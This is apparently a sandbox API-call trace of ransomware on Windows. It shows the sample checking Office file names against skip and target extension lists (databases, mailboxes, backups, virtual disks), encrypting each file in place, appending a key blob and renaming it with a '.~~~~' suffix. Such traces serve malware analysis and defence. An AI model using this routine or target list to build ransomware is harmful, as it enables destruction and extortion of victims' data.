	[0144.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".com") returned 0x0
	[0144.218] lstrlenW (lpString=".lnk") returned 4
	[0144.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".lnk") returned 0x0
	[0144.218] lstrlenW (lpString=".msp") returned 4
	[0144.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".msp") returned 0x0
	[0144.219] lstrlenW (lpString=".pif") returned 4
	[0144.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".pif") returned 0x0
	[0144.219] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch="msp\r\n.pif") returned 0x0
	[0144.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0144.220] lstrlenW (lpString=".sqb") returned 4
	[0144.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".sqb") returned 0x0
	[0144.221] lstrlenW (lpString=".ost") returned 4
	[0144.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".ost") returned 0x0
	[0144.221] lstrlenW (lpString=".txt") returned 4
	[0144.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".txt") returned 0x0
	[0144.221] lstrlenW (lpString=".mdt") returned 4
	[0144.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".mdt") returned 0x0
	[0144.221] lstrlenW (lpString=".BDB") returned 4
	[0144.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".BDB") returned 0x0
	[0144.221] lstrlenW (lpString=".eql") returned 4
	[0144.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".eql") returned 0x0
	[0144.221] lstrlenW (lpString=".DBF") returned 4
	[0144.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".DBF") returned 0x0
	[0144.221] lstrlenW (lpString=".EQL") returned 4
	[0144.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".EQL") returned 0x0
	[0144.221] lstrlenW (lpString=".FDB") returned 4
	[0144.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".FDB") returned 0x0
	[0144.221] lstrlenW (lpString=".EDB") returned 4
	[0144.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".EDB") returned 0x0
	[0144.221] lstrlenW (lpString=".DACPAC") returned 7
	[0144.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".DACPAC") returned 0x0
	[0144.221] lstrlenW (lpString=".VHD") returned 4
	[0144.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".VHD") returned 0x0
	[0144.221] lstrlenW (lpString=".DBV") returned 4
	[0144.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".DBV") returned 0x0
	[0144.221] lstrlenW (lpString=".dacpac") returned 7
	[0144.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".dacpac") returned 0x0
	[0144.221] lstrlenW (lpString=".sdf") returned 4
	[0144.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".sdf") returned 0x0
	[0144.221] lstrlenW (lpString=".accdb") returned 6
	[0144.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".accdb") returned 0x0
	[0144.221] lstrlenW (lpString=".DBX") returned 4
	[0144.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".DBX") returned 0x0
	[0144.222] lstrlenW (lpString=".MDT") returned 4
	[0144.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".MDT") returned 0x0
	[0144.222] lstrlenW (lpString=".SQB") returned 4
	[0144.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".SQB") returned 0x0
	[0144.222] lstrlenW (lpString=".vhd") returned 4
	[0144.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".vhd") returned 0x0
	[0144.222] lstrlenW (lpString=".bac") returned 4
	[0144.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".bac") returned 0x0
	[0144.222] lstrlenW (lpString=".mdf") returned 4
	[0144.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".mdf") returned 0x0
	[0144.222] lstrlenW (lpString=".BAK") returned 4
	[0144.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".BAK") returned 0x0
	[0144.222] lstrlenW (lpString=".BAC") returned 4
	[0144.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".BAC") returned 0x0
	[0144.222] lstrlenW (lpString=".dbs") returned 4
	[0144.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".dbs") returned 0x0
	[0144.222] lstrlenW (lpString=".vhdx") returned 5
	[0144.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".vhdx") returned 0x0
	[0144.222] lstrlenW (lpString=".NDF") returned 4
	[0144.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".NDF") returned 0x0
	[0144.222] lstrlenW (lpString=".dat") returned 4
	[0144.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".dat") returned 0x0
	[0144.222] lstrlenW (lpString=".DBS") returned 4
	[0144.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".DBS") returned 0x0
	[0144.222] lstrlenW (lpString=".CKP") returned 4
	[0144.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".CKP") returned 0x0
	[0144.222] lstrlenW (lpString=".edb") returned 4
	[0144.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".edb") returned 0x0
	[0144.222] lstrlenW (lpString=".PST") returned 4
	[0144.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".PST") returned 0x0
	[0144.222] lstrlenW (lpString=".dbf") returned 4
	[0144.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".dbf") returned 0x0
	[0144.222] lstrlenW (lpString=".SQL") returned 4
	[0144.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".SQL") returned 0x0
	[0144.223] lstrlenW (lpString=".pst") returned 4
	[0144.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".pst") returned 0x0
	[0144.223] lstrlenW (lpString=".dbv") returned 4
	[0144.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".dbv") returned 0x0
	[0144.223] lstrlenW (lpString=".SDF") returned 4
	[0144.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".SDF") returned 0x0
	[0144.223] lstrlenW (lpString=".dtxs") returned 5
	[0144.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".dtxs") returned 0x0
	[0144.223] lstrlenW (lpString=".db3") returned 4
	[0144.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".db3") returned 0x0
	[0144.223] lstrlenW (lpString=".OST") returned 4
	[0144.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".OST") returned 0x0
	[0144.223] lstrlenW (lpString=".dbx") returned 4
	[0144.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".dbx") returned 0x0
	[0144.223] lstrlenW (lpString=".DB3") returned 4
	[0144.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".DB3") returned 0x0
	[0144.223] lstrlenW (lpString=".DAT") returned 4
	[0144.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".DAT") returned 0x0
	[0144.223] lstrlenW (lpString=".VHDX") returned 5
	[0144.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".VHDX") returned 0x0
	[0144.223] lstrlenW (lpString=".ndf") returned 4
	[0144.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".ndf") returned 0x0
	[0144.223] lstrlenW (lpString=".DB") returned 3
	[0144.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".DB") returned 0x0
	[0144.223] lstrlenW (lpString=".sql") returned 4
	[0144.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".sql") returned 0x0
	[0144.223] lstrlenW (lpString=".MYD") returned 4
	[0144.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".MYD") returned 0x0
	[0144.223] lstrlenW (lpString=".DBT") returned 4
	[0144.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".DBT") returned 0x0
	[0144.224] lstrlenW (lpString=".ACCDB") returned 6
	[0144.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".ACCDB") returned 0x0
	[0144.224] lstrlenW (lpString=".fdb") returned 4
	[0144.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".fdb") returned 0x0
	[0144.224] lstrlenW (lpString=".bak") returned 4
	[0144.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".bak") returned 0x0
	[0144.224] lstrlenW (lpString=".myd") returned 4
	[0144.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".myd") returned 0x0
	[0144.224] lstrlenW (lpString=".DTXS") returned 5
	[0144.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".DTXS") returned 0x0
	[0144.224] lstrlenW (lpString=".ckp") returned 4
	[0144.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".ckp") returned 0x0
	[0144.224] lstrlenW (lpString=".dbt") returned 4
	[0144.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".dbt") returned 0x0
	[0144.224] lstrlenW (lpString=".db") returned 3
	[0144.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".db") returned 0x0
	[0144.224] lstrlenW (lpString=".TXT") returned 4
	[0144.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".TXT") returned 0x0
	[0144.224] lstrlenW (lpString=".MDF") returned 4
	[0144.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".MDF") returned 0x0
	[0144.224] lstrlenW (lpString=".bdb") returned 4
	[0144.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".bdb") returned 0x0
	[0144.224] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0144.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.224] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0144.225] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.225] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0144.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0144.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0144.226] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26421709134) returned 1
	[0144.227] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbf5e62d0, dwHighDateTime=0x1d60e1e)) 
	[0144.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0144.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0144.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0144.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x291e228
	[0144.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x291e228 | out: hHeap=0x300000) returned 1
	[0144.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0144.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37b9a8
	[0144.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.228] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0144.228] GetLastError () returned 0x0
	[0144.228] GetLastError () returned 0x0
	[0144.228] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0144.228] GetLastError () returned 0x0
	[0144.228] GetLastError () returned 0x0
	[0144.228] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x277, lpOverlapped=0x0) returned 1
	[0144.230] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffd89, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.230] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x277, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x277, lpOverlapped=0x0) returned 1
	[0144.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.230] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.230] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.231] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.231] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.231] CloseHandle (hObject=0x138) returned 1
	[0144.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aca58
	[0144.231] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc.~~~~")) returned 1
	[0144.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0144.233] GetLastError () returned 0x0
	[0144.233] RtlWakeConditionVariable () returned 0x365f70
	[0144.233] GetCurrentThreadId () returned 0xaf0
	[0144.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".scr") returned 0x0
	[0144.234] lstrlenW (lpString=".cmd") returned 4
	[0144.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".cmd") returned 0x0
	[0144.234] lstrlenW (lpString=".dll") returned 4
	[0144.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".dll") returned 0x0
	[0144.234] lstrlenW (lpString=".bat") returned 4
	[0144.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".bat") returned 0x0
	[0144.234] lstrlenW (lpString=".cpl") returned 4
	[0144.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".cpl") returned 0x0
	[0144.234] lstrlenW (lpString=".sys") returned 4
	[0144.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".sys") returned 0x0
	[0144.234] lstrlenW (lpString=".msc") returned 4
	[0144.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".msc") returned 0x0
	[0144.234] lstrlenW (lpString=".com") returned 4
	[0144.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".com") returned 0x0
	[0144.234] lstrlenW (lpString=".lnk") returned 4
	[0144.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".lnk") returned 0x0
	[0144.234] lstrlenW (lpString=".msp") returned 4
	[0144.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".msp") returned 0x0
	[0144.234] lstrlenW (lpString=".pif") returned 4
	[0144.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".pif") returned 0x0
	[0144.234] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch="msp\r\n.pif") returned 0x0
	[0144.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0144.236] lstrlenW (lpString=".sqb") returned 4
	[0144.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".sqb") returned 0x0
	[0144.236] lstrlenW (lpString=".ost") returned 4
	[0144.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".ost") returned 0x0
	[0144.236] lstrlenW (lpString=".txt") returned 4
	[0144.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".txt") returned 0x0
	[0144.236] lstrlenW (lpString=".mdt") returned 4
	[0144.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".mdt") returned 0x0
	[0144.236] lstrlenW (lpString=".BDB") returned 4
	[0144.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".BDB") returned 0x0
	[0144.236] lstrlenW (lpString=".eql") returned 4
	[0144.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".eql") returned 0x0
	[0144.236] lstrlenW (lpString=".DBF") returned 4
	[0144.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".DBF") returned 0x0
	[0144.236] lstrlenW (lpString=".EQL") returned 4
	[0144.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".EQL") returned 0x0
	[0144.236] lstrlenW (lpString=".FDB") returned 4
	[0144.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".FDB") returned 0x0
	[0144.236] lstrlenW (lpString=".EDB") returned 4
	[0144.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".EDB") returned 0x0
	[0144.236] lstrlenW (lpString=".DACPAC") returned 7
	[0144.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".DACPAC") returned 0x0
	[0144.237] lstrlenW (lpString=".VHD") returned 4
	[0144.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".VHD") returned 0x0
	[0144.237] lstrlenW (lpString=".DBV") returned 4
	[0144.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".DBV") returned 0x0
	[0144.237] lstrlenW (lpString=".dacpac") returned 7
	[0144.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".dacpac") returned 0x0
	[0144.237] lstrlenW (lpString=".sdf") returned 4
	[0144.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".sdf") returned 0x0
	[0144.237] lstrlenW (lpString=".accdb") returned 6
	[0144.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".accdb") returned 0x0
	[0144.237] lstrlenW (lpString=".DBX") returned 4
	[0144.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".DBX") returned 0x0
	[0144.237] lstrlenW (lpString=".MDT") returned 4
	[0144.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".MDT") returned 0x0
	[0144.237] lstrlenW (lpString=".SQB") returned 4
	[0144.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".SQB") returned 0x0
	[0144.237] lstrlenW (lpString=".vhd") returned 4
	[0144.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".vhd") returned 0x0
	[0144.237] lstrlenW (lpString=".bac") returned 4
	[0144.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".bac") returned 0x0
